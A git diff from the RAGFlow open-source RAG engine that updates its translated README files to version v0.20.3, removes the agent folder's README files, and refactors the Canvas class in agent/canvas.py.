 <div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
-<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
 </div>
 
 ## 🔥 업데이트
 
+- 2025-08-08 OpenAI의 최신 GPT-5 시리즈 모델을 지원합니다.
+- 2025-08-04 새로운 모델인 Kimi K2와 Grok 4를 포함하여 지원합니다.
+- 2025-08-01 에이전트 워크플로우와 MCP를 지원합니다.
+- 2025-05-23 Agent에 Python/JS 코드 실행기 구성 요소를 추가합니다.
+- 2025-05-05 언어 간 쿼리를 지원합니다.
 - 2025-03-19 PDF 또는 DOCX 파일 내의 이미지를 이해하기 위해 다중 모드 모델을 사용하는 것을 지원합니다.
 - 2025-02-28 인터넷 검색(TAVILY)과 결합되어 모든 LLM에 대한 심층 연구를 지원합니다.
-- 2025-01-26 지식 그래프 추출 및 적용을 최적화하고 다양한 구성 옵션을 제공합니다.
 - 2024-12-18 DeepDoc의 문서 레이아웃 분석 모델 업그레이드.
-- 2024-11-01 파싱된 청크에 키워드 추출 및 관련 질문 생성을 추가하여 재현율을 향상시킵니다.
 - 2024-08-22 RAG를 통해 SQL 문에 텍스트를 지원합니다.
 
 ## 🎉 계속 지켜봐 주세요
@@ -152,7 +160,7 @@
 > 모든 Docker 이미지는 x86 플랫폼을 위해 빌드되었습니다. 우리는 현재 ARM64 플랫폼을 위한 Docker 이미지를 제공하지 않습니다.
 > ARM64 플랫폼을 사용 중이라면, [시스템과 호환되는 Docker 이미지를 빌드하려면 이 가이드를 사용해 주세요](https://ragflow.io/docs/dev/build_docker_image).
 
-   > 아래 명령어는 RAGFlow Docker 이미지의 v0.19.0-slim 버전을 다운로드합니다. 다양한 RAGFlow 버전에 대한 설명은 다음 표를 참조하십시오. v0.19.0-slim과 다른 RAGFlow 버전을 다운로드하려면, docker/.env 파일에서 RAGFLOW_IMAGE 변수를 적절히 업데이트한 후 docker compose를 사용하여 서버를 시작하십시오. 예를 들어, 전체 버전인 v0.19.0을 다운로드하려면 RAGFLOW_IMAGE=infiniflow/ragflow:v0.19.0로 설정합니다.
+   > 아래 명령어는 RAGFlow Docker 이미지의 v0.20.3-slim 버전을 다운로드합니다. 다양한 RAGFlow 버전에 대한 설명은 다음 표를 참조하십시오. v0.20.3-slim과 다른 RAGFlow 버전을 다운로드하려면, docker/.env 파일에서 RAGFLOW_IMAGE 변수를 적절히 업데이트한 후 docker compose를 사용하여 서버를 시작하십시오. 예를 들어, 전체 버전인 v0.20.3을 다운로드하려면 RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.3로 설정합니다.
 
    ```bash
    $ cd ragflow/docker
@@ -165,8 +173,8 @@
 
    | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
    | ----------------- | --------------- | --------------------- | ------------------------ |
-   | v0.19.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
-   | v0.19.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | v0.20.3           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.20.3-slim      | &approx;2       | ❌                    | Stable release           |
    | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
    | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
 

README_pt_br.md

@@ -5,13 +5,13 @@
 </div>
 
 <p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_tzh.md">繁体中文</a> |
-  <a href="./README_ja.md">日本語</a> |
-  <a href="./README_ko.md">한국어</a> |
-  <a href="./README_id.md">Bahasa Indonesia</a> |
-  <a href="/README_pt_br.md">Português (Brasil)</a>
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DBEDFA"></a>
 </p>
 
 <p align="center">
@@ -22,7 +22,7 @@
         <img alt="Badge Estático" src="https://img.shields.io/badge/Online-Demo-4e6b99">
     </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.19.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.19.0">
+        <img src="https://img.shields.io/docker/pulls/infiniflow/ragflow?label=Docker%20Pulls&color=0db7ed&logo=docker&logoColor=white&style=flat-square" alt="docker pull infiniflow/ragflow:v0.20.3">
     </a>
     <a href="https://github.com/infiniflow/ragflow/releases/latest">
         <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Última%20Relese" alt="Última Versão">
@@ -30,6 +30,9 @@
     <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
         <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="licença">
     </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
 </p>
 
 <h4 align="center">
@@ -40,6 +43,8 @@
   <a href="https://demo.ragflow.io">Demo</a>
 </h4>
 
+#
+
 <details open>
 <summary><b>📕 Índice</b></summary>
 
@@ -69,17 +74,20 @@
 Experimente nossa demo em [https://demo.ragflow.io](https://demo.ragflow.io).
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
-<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
 </div>
 
 ## 🔥 Últimas Atualizações
 
+- 08-08-2025 Suporta a mais recente série GPT-5 da OpenAI.
+- 04-08-2025 Suporta novos modelos, incluindo Kimi K2 e Grok 4.
+- 01-08-2025 Suporta fluxo de trabalho agente e MCP.
+- 23-05-2025 Adicione o componente executor de código Python/JS ao Agente.
+- 05-05-2025 Suporte a consultas entre idiomas.
 - 19-03-2025 Suporta o uso de um modelo multi-modal para entender imagens dentro de arquivos PDF ou DOCX.
 - 28-02-2025 combinado com a pesquisa na Internet (T AVI LY), suporta pesquisas profundas para qualquer LLM.
-- 26-01-2025 Otimize a extração e aplicação de gráficos de conhecimento e forneça uma variedade de opções de configuração.
 - 18-12-2024 Atualiza o modelo de Análise de Layout de Documentos no DeepDoc.
-- 01-11-2024 Adiciona extração de palavras-chave e geração de perguntas relacionadas aos blocos analisados para melhorar a precisão da recuperação.
 - 22-08-2024 Suporta conversão de texto para comandos SQL via RAG.
 
 ## 🎉 Fique Ligado
@@ -172,7 +180,7 @@ Experimente nossa demo em [https://demo.ragflow.io](https://demo.ragflow.io).
 > Todas as imagens Docker são construídas para plataformas x86. Atualmente, não oferecemos imagens Docker para ARM64.
 > Se você estiver usando uma plataforma ARM64, por favor, utilize [este guia](https://ragflow.io/docs/dev/build_docker_image) para construir uma imagem Docker compatível com o seu sistema.
 
-    > O comando abaixo baixa a edição `v0.19.0-slim` da imagem Docker do RAGFlow. Consulte a tabela a seguir para descrições de diferentes edições do RAGFlow. Para baixar uma edição do RAGFlow diferente da `v0.19.0-slim`, atualize a variável `RAGFLOW_IMAGE` conforme necessário no **docker/.env** antes de usar `docker compose` para iniciar o servidor. Por exemplo: defina `RAGFLOW_IMAGE=infiniflow/ragflow:v0.19.0` para a edição completa `v0.19.0`.
+    > O comando abaixo baixa a edição `v0.20.3-slim` da imagem Docker do RAGFlow. Consulte a tabela a seguir para descrições de diferentes edições do RAGFlow. Para baixar uma edição do RAGFlow diferente da `v0.20.3-slim`, atualize a variável `RAGFLOW_IMAGE` conforme necessário no **docker/.env** antes de usar `docker compose` para iniciar o servidor. Por exemplo: defina `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.3` para a edição completa `v0.20.3`.
 
     ```bash
     $ cd ragflow/docker
@@ -185,8 +193,8 @@ Experimente nossa demo em [https://demo.ragflow.io](https://demo.ragflow.io).
 
     | Tag da imagem RAGFlow | Tamanho da imagem (GB) | Possui modelos de incorporação? | Estável?                 |
     | --------------------- | ---------------------- | ------------------------------- | ------------------------ |
-    | v0.19.0               | ~9                     | :heavy_check_mark:              | Lançamento estável       |
-    | v0.19.0-slim          | ~2                     | ❌                              | Lançamento estável       |
+    | v0.20.3               | ~9                     | :heavy_check_mark:              | Lançamento estável       |
+    | v0.20.3-slim          | ~2                     | ❌                              | Lançamento estável       |
     | nightly               | ~9                     | :heavy_check_mark:              | _Instável_ build noturno |
     | nightly-slim          | ~2                     | ❌                               | _Instável_ build noturno |
 

README_tzh.md

@@ -5,12 +5,13 @@
 </div>
 
 <p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_ja.md">日本語</a> |
-  <a href="./README_ko.md">한국어</a> |
-  <a href="./README_id.md">Bahasa Indonesia</a> |
-  <a href="/README_pt_br.md">Português (Brasil)</a>
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DBEDFA"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
 </p>
 
 <p align="center">
@@ -21,7 +22,7 @@
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
     </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.19.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.19.0">
+        <img src="https://img.shields.io/docker/pulls/infiniflow/ragflow?label=Docker%20Pulls&color=0db7ed&logo=docker&logoColor=white&style=flat-square" alt="docker pull infiniflow/ragflow:v0.20.3">
     </a>
     <a href="https://github.com/infiniflow/ragflow/releases/latest">
         <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
@@ -29,6 +30,9 @@
     <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
         <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
     </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
 </p>
 
 <h4 align="center">
@@ -39,6 +43,31 @@
   <a href="https://demo.ragflow.io">Demo</a>
 </h4>
 
+#
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 目錄</b></summary>
+
+- 💡 [RAGFlow 是什麼？](#-RAGFlow-是什麼)
+- 🎮 [Demo-試用](#-demo-試用)
+- 📌 [近期更新](#-近期更新)
+- 🌟 [主要功能](#-主要功能)
+- 🔎 [系統架構](#-系統架構)
+- 🎬 [快速開始](#-快速開始)
+- 🔧 [系統配置](#-系統配置)
+- 🔨 [以原始碼啟動服務](#-以原始碼啟動服務)
+- 📚 [技術文檔](#-技術文檔)
+- 📜 [路線圖](#-路線圖)
+- 🏄 [貢獻指南](#-貢獻指南)
+- 🙌 [加入社區](#-加入社區)
+- 🤝 [商務合作](#-商務合作)
+
+</details>
+
 ## 💡 RAGFlow 是什麼？
 
 [RAGFlow](https://ragflow.io/) 是一款基於深度文件理解所建構的開源 RAG（Retrieval-Augmented Generation）引擎。 RAGFlow 可以為各種規模的企業及個人提供一套精簡的 RAG 工作流程，結合大語言模型（LLM）針對用戶各類不同的複雜格式數據提供可靠的問答以及有理有據的引用。
@@ -48,17 +77,20 @@
 請登入網址 [https://demo.ragflow.io](https://demo.ragflow.io) 試用 demo。
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
-<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
 </div>
 
 ## 🔥 近期更新
 
+- 2025-08-08 支援 OpenAI 最新的 GPT-5 系列模型。
+- 2025-08-04 支援 Kimi K2 和 Grok 4 等模型.
+- 2025-08-01 支援 agentic workflow 和 MCP
+- 2025-05-23 為 Agent 新增 Python/JS 程式碼執行器元件。
+- 2025-05-05 支援跨語言查詢。
 - 2025-03-19 PDF和DOCX中的圖支持用多模態大模型去解析得到描述.
 - 2025-02-28 結合網路搜尋（Tavily），對於任意大模型實現類似 Deep Research 的推理功能.
-- 2025-01-26 最佳化知識圖譜的擷取與應用，提供了多種配置選擇。
 - 2024-12-18 升級了 DeepDoc 的文檔佈局分析模型。
-- 2024-11-01 對解析後的 chunk 加入關鍵字抽取和相關問題產生以提高回想的準確度。
 - 2024-08-22 支援用 RAG 技術實現從自然語言到 SQL 語句的轉換。
 
 ## 🎉 關注項目
@@ -151,7 +183,7 @@
 > 所有 Docker 映像檔都是為 x86 平台建置的。目前，我們不提供 ARM64 平台的 Docker 映像檔。
 > 如果您使用的是 ARM64 平台，請使用 [這份指南](https://ragflow.io/docs/dev/build_docker_image) 來建置適合您系統的 Docker 映像檔。
 
-   > 執行以下指令會自動下載 RAGFlow slim Docker 映像 `v0.19.0-slim`。請參考下表查看不同 Docker 發行版的說明。如需下載不同於 `v0.19.0-slim` 的 Docker 映像，請在執行 `docker compose` 啟動服務之前先更新 **docker/.env** 檔案內的 `RAGFLOW_IMAGE` 變數。例如，你可以透過設定 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.19.0` 來下載 RAGFlow 鏡像的 `v0.19.0` 完整發行版。
+   > 執行以下指令會自動下載 RAGFlow slim Docker 映像 `v0.20.3-slim`。請參考下表查看不同 Docker 發行版的說明。如需下載不同於 `v0.20.3-slim` 的 Docker 映像，請在執行 `docker compose` 啟動服務之前先更新 **docker/.env** 檔案內的 `RAGFLOW_IMAGE` 變數。例如，你可以透過設定 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.3` 來下載 RAGFlow 鏡像的 `v0.20.3` 完整發行版。
 
    ```bash
    $ cd ragflow/docker
@@ -164,8 +196,8 @@
 
    | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
    | ----------------- | --------------- | --------------------- | ------------------------ |
-   | v0.19.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
-   | v0.19.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | v0.20.3           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.20.3-slim      | &approx;2       | ❌                    | Stable release           |
    | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
    | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
 

README_zh.md

@@ -5,13 +5,13 @@
 </div>
 
 <p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_tzh.md">繁体中文</a> |
-  <a href="./README_ja.md">日本語</a> |
-  <a href="./README_ko.md">한국어</a> |
-  <a href="./README_id.md">Bahasa Indonesia</a> |
-  <a href="/README_pt_br.md">Português (Brasil)</a>
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DBEDFA"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
 </p>
 
 <p align="center">
@@ -22,7 +22,7 @@
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
     </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.19.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.19.0">
+        <img src="https://img.shields.io/docker/pulls/infiniflow/ragflow?label=Docker%20Pulls&color=0db7ed&logo=docker&logoColor=white&style=flat-square" alt="docker pull infiniflow/ragflow:v0.20.3">
     </a>
     <a href="https://github.com/infiniflow/ragflow/releases/latest">
         <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
@@ -30,6 +30,9 @@
     <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
         <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
     </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
 </p>
 
 <h4 align="center">
@@ -40,6 +43,31 @@
   <a href="https://demo.ragflow.io">Demo</a>
 </h4>
 
+#
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 目录</b></summary>
+
+- 💡 [RAGFlow 是什么？](#-RAGFlow-是什么)
+- 🎮 [Demo](#-demo)
+- 📌 [近期更新](#-近期更新)
+- 🌟 [主要功能](#-主要功能)
+- 🔎 [系统架构](#-系统架构)
+- 🎬 [快速开始](#-快速开始)
+- 🔧 [系统配置](#-系统配置)
+- 🔨 [以源代码启动服务](#-以源代码启动服务)
+- 📚 [技术文档](#-技术文档)
+- 📜 [路线图](#-路线图)
+- 🏄 [贡献指南](#-贡献指南)
+- 🙌 [加入社区](#-加入社区)
+- 🤝 [商务合作](#-商务合作)
+
+</details>
+
 ## 💡 RAGFlow 是什么？
 
 [RAGFlow](https://ragflow.io/) 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。
@@ -49,17 +77,20 @@
 请登录网址 [https://demo.ragflow.io](https://demo.ragflow.io) 试用 demo。
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
-<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
 </div>
 
 ## 🔥 近期更新
 
-- 2025-03-19 PDF和DOCX中的图支持用多模态大模型去解析得到描述.
+- 2025-08-08 支持 OpenAI 最新的 GPT-5 系列模型.
+- 2025-08-04 新增对 Kimi K2 和 Grok 4 等模型的支持.
+- 2025-08-01 支持 agentic workflow 和 MCP。
+- 2025-05-23 Agent 新增 Python/JS 代码执行器组件。
+- 2025-05-05 支持跨语言查询。
+- 2025-03-19 PDF 和 DOCX 中的图支持用多模态大模型去解析得到描述.
 - 2025-02-28 结合互联网搜索（Tavily），对于任意大模型实现类似 Deep Research 的推理功能.
-- 2025-01-26 优化知识图谱的提取和应用，提供了多种配置选择。
 - 2024-12-18 升级了 DeepDoc 的文档布局分析模型。
-- 2024-11-01 对解析后的 chunk 加入关键词抽取和相关问题生成以提高召回的准确度。
 - 2024-08-22 支持用 RAG 技术实现从自然语言到 SQL 语句的转换。
 
 ## 🎉 关注项目
@@ -152,7 +183,7 @@
 > 请注意，目前官方提供的所有 Docker 镜像均基于 x86 架构构建，并不提供基于 ARM64 的 Docker 镜像。
 > 如果你的操作系统是 ARM64 架构，请参考[这篇文档](https://ragflow.io/docs/dev/build_docker_image)自行构建 Docker 镜像。
 
-   > 运行以下命令会自动下载 RAGFlow slim Docker 镜像 `v0.19.0-slim`。请参考下表查看不同 Docker 发行版的描述。如需下载不同于 `v0.19.0-slim` 的 Docker 镜像，请在运行 `docker compose` 启动服务之前先更新 **docker/.env** 文件内的 `RAGFLOW_IMAGE` 变量。比如，你可以通过设置 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.19.0` 来下载 RAGFlow 镜像的 `v0.19.0` 完整发行版。
+   > 运行以下命令会自动下载 RAGFlow slim Docker 镜像 `v0.20.3-slim`。请参考下表查看不同 Docker 发行版的描述。如需下载不同于 `v0.20.3-slim` 的 Docker 镜像，请在运行 `docker compose` 启动服务之前先更新 **docker/.env** 文件内的 `RAGFLOW_IMAGE` 变量。比如，你可以通过设置 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.3` 来下载 RAGFlow 镜像的 `v0.20.3` 完整发行版。
 
    ```bash
    $ cd ragflow/docker
@@ -165,8 +196,8 @@
 
    | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
    | ----------------- | --------------- | --------------------- | ------------------------ |
-   | v0.19.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
-   | v0.19.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | v0.20.3           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.20.3-slim      | &approx;2       | ❌                    | Stable release           |
    | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
    | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
 

agent/README.md

@@ -1,45 +0,0 @@
-English | [简体中文](./README_zh.md)
-
-# *Graph*
-
-
-## Introduction
-
-*Graph* is a mathematical concept which is composed of nodes and edges. 
-It is used to compose a complex work flow or agent. 
-And this graph is beyond the DAG that we can use circles to describe our agent or work flow.
-Under this folder, we propose a test tool ./test/client.py which can test the DSLs such as json files in folder ./test/dsl_examples.
-Please use this client at the same folder you start RAGFlow. If it's run by Docker, please go into the container before running the client.
-Otherwise, correct configurations in service_conf.yaml is essential.
-
-```bash
-PYTHONPATH=path/to/ragflow python graph/test/client.py -h
-usage: client.py [-h] -s DSL -t TENANT_ID -m
-
-options:
-  -h, --help            show this help message and exit
-  -s DSL, --dsl DSL     input dsl
-  -t TENANT_ID, --tenant_id TENANT_ID
-                        Tenant ID
-  -m, --stream          Stream output
-```
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/79179c5e-d4d6-464a-b6c4-5721cb329899" width="1000"/>
-</div>
-
-
-## How to gain a TENANT_ID in command line?
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/419d8588-87b1-4ab8-ac49-2d1f047a4b97" width="600"/>
-</div>
-💡 We plan to display it here in the near future.
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/c97915de-0091-46a5-afd9-e278946e5fe3" width="600"/>
-</div>
-
-
-## How to set 'kb_ids' for component 'Retrieval' in DSL?
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/0a731534-cac8-49fd-8a92-ca247eeef66d" width="600"/>
-</div>
-

agent/README_zh.md

@@ -1,46 +0,0 @@
-[English](./README.md) | 简体中文
-
-# *Graph*
-
-
-## 简介
-
-"Graph"是一个由节点和边组成的数学概念。
-它被用来构建复杂的工作流或代理。
-这个图超越了有向无环图（DAG），我们可以使用循环来描述我们的代理或工作流。
-在这个文件夹下，我们提出了一个测试工具 ./test/client.py，
-它可以测试像文件夹./test/dsl_examples下一样的DSL文件。
-请在启动 RAGFlow 的同一文件夹中使用此客户端。如果它是通过 Docker 运行的，请在运行客户端之前进入容器。
-否则，正确配置 service_conf.yaml 文件是必不可少的。
-
-```bash
-PYTHONPATH=path/to/ragflow python graph/test/client.py -h
-usage: client.py [-h] -s DSL -t TENANT_ID -m
-
-options:
-  -h, --help            show this help message and exit
-  -s DSL, --dsl DSL     input dsl
-  -t TENANT_ID, --tenant_id TENANT_ID
-                        Tenant ID
-  -m, --stream          Stream output
-```
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/05924730-c427-495b-8ee4-90b8b2250681" width="1000"/>
-</div>
-
-
-## 命令行中的TENANT_ID如何获得?
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/419d8588-87b1-4ab8-ac49-2d1f047a4b97" width="600"/>
-</div>
-💡 后面会展示在这里：
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/c97915de-0091-46a5-afd9-e278946e5fe3" width="600"/>
-</div>
-
-
-## DSL里面的Retrieval组件的kb_ids怎么填?
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/0a731534-cac8-49fd-8a92-ca247eeef66d" width="600"/>
-</div>
-

agent/canvas.py

@@ -13,14 +13,21 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
-import logging
+import base64
 import json
+import logging
+import time
+from concurrent.futures import ThreadPoolExecutor
 from copy import deepcopy
 from functools import partial
-import pandas as pd
+from typing import Any, Union, Tuple
 
 from agent.component import component_class
 from agent.component.base import ComponentBase
+from api.db.services.file_service import FileService
+from api.utils import get_uuid, hash_str2int
+from rag.prompts.prompts import chunks_format
+from rag.utils.redis_conn import REDIS_CONN
 
 
 class Canvas:
@@ -35,14 +42,6 @@ class Canvas:
                 "downstream": ["answer_0"],
                 "upstream": [],
             },
-            "answer_0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["retrieval_0"],
-                "upstream": ["begin", "generate_0"],
-            },
             "retrieval_0": {
                 "obj": {
                     "component_name": "Retrieval",
@@ -61,19 +60,28 @@ class Canvas:
             }
         },
         "history": [],
-        "messages": [],
-        "reference": [],
-        "path": [["begin"]],
-        "answer": []
+        "path": ["begin"],
+        "retrieval": {"chunks": [], "doc_aggs": []},
+        "globals": {
+            "sys.query": "",
+            "sys.user_id": tenant_id,
+            "sys.conversation_turns": 0,
+            "sys.files": []
+        }
     }
     """
 
-    def __init__(self, dsl: str, tenant_id=None):
+    def __init__(self, dsl: str, tenant_id=None, task_id=None):
         self.path = []
         self.history = []
-        self.messages = []
-        self.answer = []
         self.components = {}
+        self.error = ""
+        self.globals = {
+            "sys.query": "",
+            "sys.user_id": tenant_id,
+            "sys.conversation_turns": 0,
+            "sys.files": []
+        }
         self.dsl = json.loads(dsl) if dsl else {
             "components": {
                 "begin": {
@@ -89,13 +97,17 @@ class Canvas:
                 }
             },
             "history": [],
-            "messages": [],
-            "reference": [],
             "path": [],
-            "answer": []
+            "retrieval": [],
+            "globals": {
+                "sys.query": "",
+                "sys.user_id": "",
+                "sys.conversation_turns": 0,
+                "sys.files": []
+            }
         }
         self._tenant_id = tenant_id
-        self._embed_id = ""
+        self.task_id = task_id if task_id else get_uuid()
         self.load()
 
     def load(self):
@@ -105,33 +117,31 @@ class Canvas:
             cpn_nms.add(cpn["obj"]["component_name"])
 
         assert "Begin" in cpn_nms, "There have to be an 'Begin' component."
-        assert "Answer" in cpn_nms, "There have to be an 'Answer' component."
 
         for k, cpn in self.components.items():
             cpn_nms.add(cpn["obj"]["component_name"])
